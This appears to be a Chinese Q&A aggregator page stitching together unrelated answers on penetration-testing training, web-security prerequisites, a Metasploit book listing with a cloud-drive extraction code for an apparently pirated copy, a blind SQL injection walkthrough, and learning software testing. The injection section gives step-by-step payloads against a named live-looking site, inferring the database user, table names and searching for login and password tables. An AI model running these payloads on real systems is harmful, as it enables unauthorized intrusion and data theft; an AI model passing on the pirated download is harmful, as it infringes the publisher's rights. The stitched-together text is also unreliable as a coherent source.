我想再进修一下渗透测试工程师，有好的机构吗？
首先从国家层面出发， *** 安全已上升到国家层面，随着等保2.0出台，相应的信息行业迎来蓬勃发展，当然作为渗透测试方向，可持续的发展力也不容质疑。那么对于渗透测试，学习的内容有： *** 基础如TCP/IP、协议包分析、http、HTML、CSS、 *** 、JAVA/PHP代码分析，接下来掌握数据库的基础语法等，还有就是Linux的基础操作，shell命令、脚本等，必须要掌握一门开发语言，如ruby、perl、python等。有了这些基础之后，就可以深层次的学习渗透测试了，渗透测试的技术必须掌握的有如：web渗透、主机渗透、内网渗透、 App渗透测试等，渗透测试的思路如下：信息收集、社工技术、漏洞检测、漏洞验证、后渗透入提权、后门技术等，以及要学会编写渗透测试报告。当然还需要了解信息项目安全服务类如什么是等保、风险评估等。
作为我国信息安全发展最为发达的城市之一，成都聚焦建设 *** 信息安全生态圈，加快融合科研院所、企业和人才资源，紧盯前沿，形成了产业集聚地。成都信息安全产业已构建起以高新区南部园区、天府新区成都直管区、双流区为主体聚集区与核心发展区，以武侯区、锦江区为产业协作区的“1+2”空间布局，助推成都打造多领域、全覆盖的 *** 信息安全产业聚集中心。
但是成都的 *** 安全培训机构却并不如Java培训机构那么多，大部分聚集在软件园附近，所以想要了解的话，建议直接实地了解，也可以要求试听，这样，更容易选到靠谱的机构。
学web安全前都需要掌握什么？
1、基础 *** 协议/网站架构
互联网的本质也就是一系列的 *** 协议，不管是C/S架构还是B/S架构都是基于 *** 通信，渗透人员需要了解到通信流程以及数据包走向等，才能使用相应手段跟工具去做渗透。
Web网站常见的协议以及请求方式，这些在做渗透的时候必不可少的。甚至也是可以利用协议来做渗透测试。所有的知识都是息息相关的，必不可少。
2、基础的编程能力
一名Web渗透测试人员必须具有有一定的基础编程能力的，每天都跟代码打交道，如果不会写代码或者看不懂代码，十分吃亏。
例如需要自己写一款适合此刻情景漏洞的工具，如果不会写会极大降低效率。再者就是关于后续进阶的代码审计问题，如果不会写代码，代码也看不懂那么就不知道怎么从源代码去审计漏洞，去发现原因。
3、渗透测试工具
渗透测试工具网上开源的很多，作为渗透测试人员会使用渗透测试工具这是必不可少的。一些优秀的工具要学会利用，还有就是要学会自己写工具。例如在做渗透测试中，好比说大量的数据FUZZ，如果说人工操作将大大浪费时间跟效率。
如若网上的工具不符合此漏洞的情景，这时候就需要自己手动写工具去调试。当然网上优秀的工具已不少，优先使用会极大提高我们的效率。
4、了解网站的搭建构成
试着去了解一个网站的形成架构，语言，中间件容器等。如果不知道一个网站是如何搭建起来的，那么做渗透的时候根本就没有对应的渗透测试方案。例如一个网站采用了某种中间件，或者什么数据库，再或者是采用网上开源的CMS。
如果对于这些不了解，那么就只能在网页上徘徊游走，甚至无从下手。了解一个网站的搭建与构成，对于前期做踩点与信息收集有着很大的帮助。
5、漏洞原理(重要)
渗透测试人员肯定是要对漏洞原理去深入研究探究，这样会从中发现更多有“趣”的东西。所有有“趣”的东西是可能你在原有的基础漏洞上配合其他漏洞，从而达到组合漏洞，这样效果有可能会更佳，不过不去了解漏洞原理，漏洞产生，不去从代码层出发。
那就不知道漏洞起因，到后期的渗透利用以及修复方案，就会显得吃力，这时候有可能你就需要去查资料，从某种形式的降低了速度与效率，所以，知识与积累必不可少。
6、报告撰写能力
每次做完渗透测试之后，都是需要一个渗透测试报告，对于漏洞挖掘的梳理， *** 结构印象加深，这是后期与客户沟通还有与开发对接提修复建议能起到很大的帮助，这些细小的细节决定着你服务的质量与责任感，因此需要不断的积累与提升。
《精通Metasploit渗透测试（第2版）》pdf下载在线阅读，求百度网盘云资源
《精通Metasploit渗透测试（第2版）》（[英] Nipun Jaswal）电子书网盘下载免费在线阅读
资源链接：
链接：
提取码：89r7
书名：精通Metasploit渗透测试（第2版）
作者：[英] Nipun Jaswal
译者：李华峰
出版社：人民邮电出版社
出版年份：2017-10
页数：300
内容简介：
本书介绍了时下流行的渗透测试框架——Metasploit。书中从其基本功能和传统使用方式开始，讲解编写Metasploit模块的基础知识，学习渗透模块的执行、构建与移植，详细解读客户端攻击、Metasploit框架中的各种内置脚本。
与第1版相比，第2版增添了大量对移动设备、SCADA、数据库、物联网设备的渗透案例，并讲解了如何将全新的渗透模块导入到Metasploit。此外，还新增了大量优秀的出色工具的使用教程，采用了新版的社会工程学工具包，增加了大量经典详实的渗透模块编写实例。
作者简介：
作者简介：
Nipun Jaswal
IT安全业务践行者，充满 *** 的IT安全研究人员。拥有7年专业经验， IT安全测试技能娴熟。曾在Eforensics、Hakin9 和Security Kaizen 等著名安全杂志上发表过大量关于IT安全的文章，并因为Apple、Microsoft、ATT、Offensive Security、Rapid7、Blackberry、Nokia、Zyng *** 等知名公司进行漏洞发掘而为人熟知。邮箱地址：mail@nipunjaswal.info。
译者简介：
李华峰
信息安全顾问、自由撰稿人。从事 *** 安全研究与教学多年，在 *** 安全部署、 *** 渗透测试、社会工程学等方面有十分丰富的实践经验。目前已经出版《诸神之眼——Nmap *** 安全审计技术揭秘》《机器人学经典教程》《精通Metasploit渗透测试（第1版）》等多本著作和译著。
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今，很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
当加入" ' "符号进行注入测试时，
'
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int
我们知道它不对" ' "符号进行过滤。再用如下语句测试，
http //www aquavelvas com/blog.asp?id=4 and 1=1
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int
好，再来继续测试，
http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了，如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '
我们的" ' "符号加对了，再继续测试，
'%20and%20user'0
出错信息如下，
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'
应该是语法不允许直接回值，是不是不能再继续了呢？想想其他办法，就看user值的长度吧，
'%20and%20len(user)'0
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'
好，我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话，那语句在逻辑上是错的；而如果出错信息是Incorrect syntax...的话，那语句在逻辑上就是对的。当处理len(user)0，凭着刚才的想法，我们知道在逻辑上这是对的。
我们试试逻辑上错的语句，
'%20and%20user%20'1'='2
果然，出错信息是，
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)0这语法的基础上，我们得知user的长度是7，之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function，我们可猜出数据库名。
好了，如何猜表名呢？就先猜表名的长度吧，
就用如下语句，
len(select top 1 name from sysobjects where xtype='U')10
len(select top 1 name from sysobjects where xtype='U')9
len(select top 1 name from sysobjects where xtype='U')8
...
(猜表名的工作是很烦人，建议用perl写个script来玩玩)
再猜表名，
left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...
好了，我们知道之一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧！)
再继续猜表名，
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8
...
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....
好第二个表名是blog，之后的表名可用('geoipcountrywhois','blog')来继续猜，然而，这显然不是好办法。为什么我们不进行搜索呢？
如何搜索呢？就用如下的语句吧，
(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了，通过逻辑上对或错的判断，我们也可以对数据库进行渗透，不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
零基础如何学习软件测试？
零基础学习软件测试的 *** 有：
一、了解测试基础
例如测试流程，测试 *** ，测试用例的编写，软件测试计划编写，包括测试的主流模型，还有缺陷管理工具(如禅道jira或其它)，了解数据库，这里的了解是指增删改了解，并且“查”要尽量做到熟练。
二、学习并掌握计算机 *** 方面的知识
主要是协议之类的(如netbeUI协议，IPX/SPX,TCP/IP，OSI等这些协议)，然后在把app跟web测试的测试 *** 及流程，测试思路，前后台的逻辑分析，包括测试点及测试的范围，都细心标记，主要是工具的结合使用。这样能为你后续的工作提高效益，也不至于出现在工作中不知道怎么介入和开展工作的情况。
三、软件测试技术成长
软件测试技术成长可以从以下几个问题入手，去进行查漏补缺，去进行学习!
功能方面：如何设计测试用例?如何进行发散测试?如何防止漏测?
性能方面：用户常用的功能如何才能体验性更好，速度更快?
安全方面：软件有没有做最基本的安全防御?常见的SQL注入，CSRF攻击是否对我们的软件安全有威胁?你的软件足够的安全吗?
自动化方面：自动化是什么?在什么情况下做自动化?哪些功能测试用例适合通过自动化脚本来执行?
四、要想有效快速学习软件测试，良好的时间管理 *** 对你大有裨益。
时间管理每个人有自己不同的方式，对我来说最受益的两条建议就是：
1.按照工作的优先级进行处理，可以参考时间管理的工作四象限法。
2.对自己每天的时间进行记录，长期归纳总结，得出最适合自己的时间管理方案。
扩展资料：
软件测试需要学习测试用例、测试用例的 *** 、缺陷管理工具、掌握数据库、App测试、python语言、Linux系统、前端语言等技能。
1、测试用例
这是每一个工程师必备技能，也是标志你进入测试行业更低的门槛，关于测试用例可以参考我以前写的文章。
2、测试用例的 ***
测试用例的 *** ，只用掌握相关的 *** ，才能把测试用例写好，覆盖度高。
3、缺陷管理工具
缺陷管理工具，就是提交bug工具，这是评价软件质量考核之一，也是软件工程师的价值所在。
4、掌握数据库
掌握数据库非常重要，这个世界由许许多多数据组成，软件测试，就是满足客户的需求，但必须数据正确，其实软件工程师需要对数据流向的了解，才能更加深入地了解业务，这也是一项基本技能之一。
5、App测试
App测试，从兴起到目前市场的成熟，APP可以说成为市场上的主流产品。若你不会APP的测试，很多公司是是不要的，所以需要我们深入了解。web测试，其实跟App相似。
7、python语言
python语言是现在更流行的语言，这是测试人员技能升级更好的方式之一，测试人员可以利用他做非常多的事情。
8、Linux系统
Linux系统，测试人员利用它最多的是看日志，更好地为开发定位bug，这也是提升技能之一。
9、前端语言
前端语言，可以让自己更好的判断bug是前端还是后端造成的，多学一点技能对于测试人员非常好的。
0条大神的评论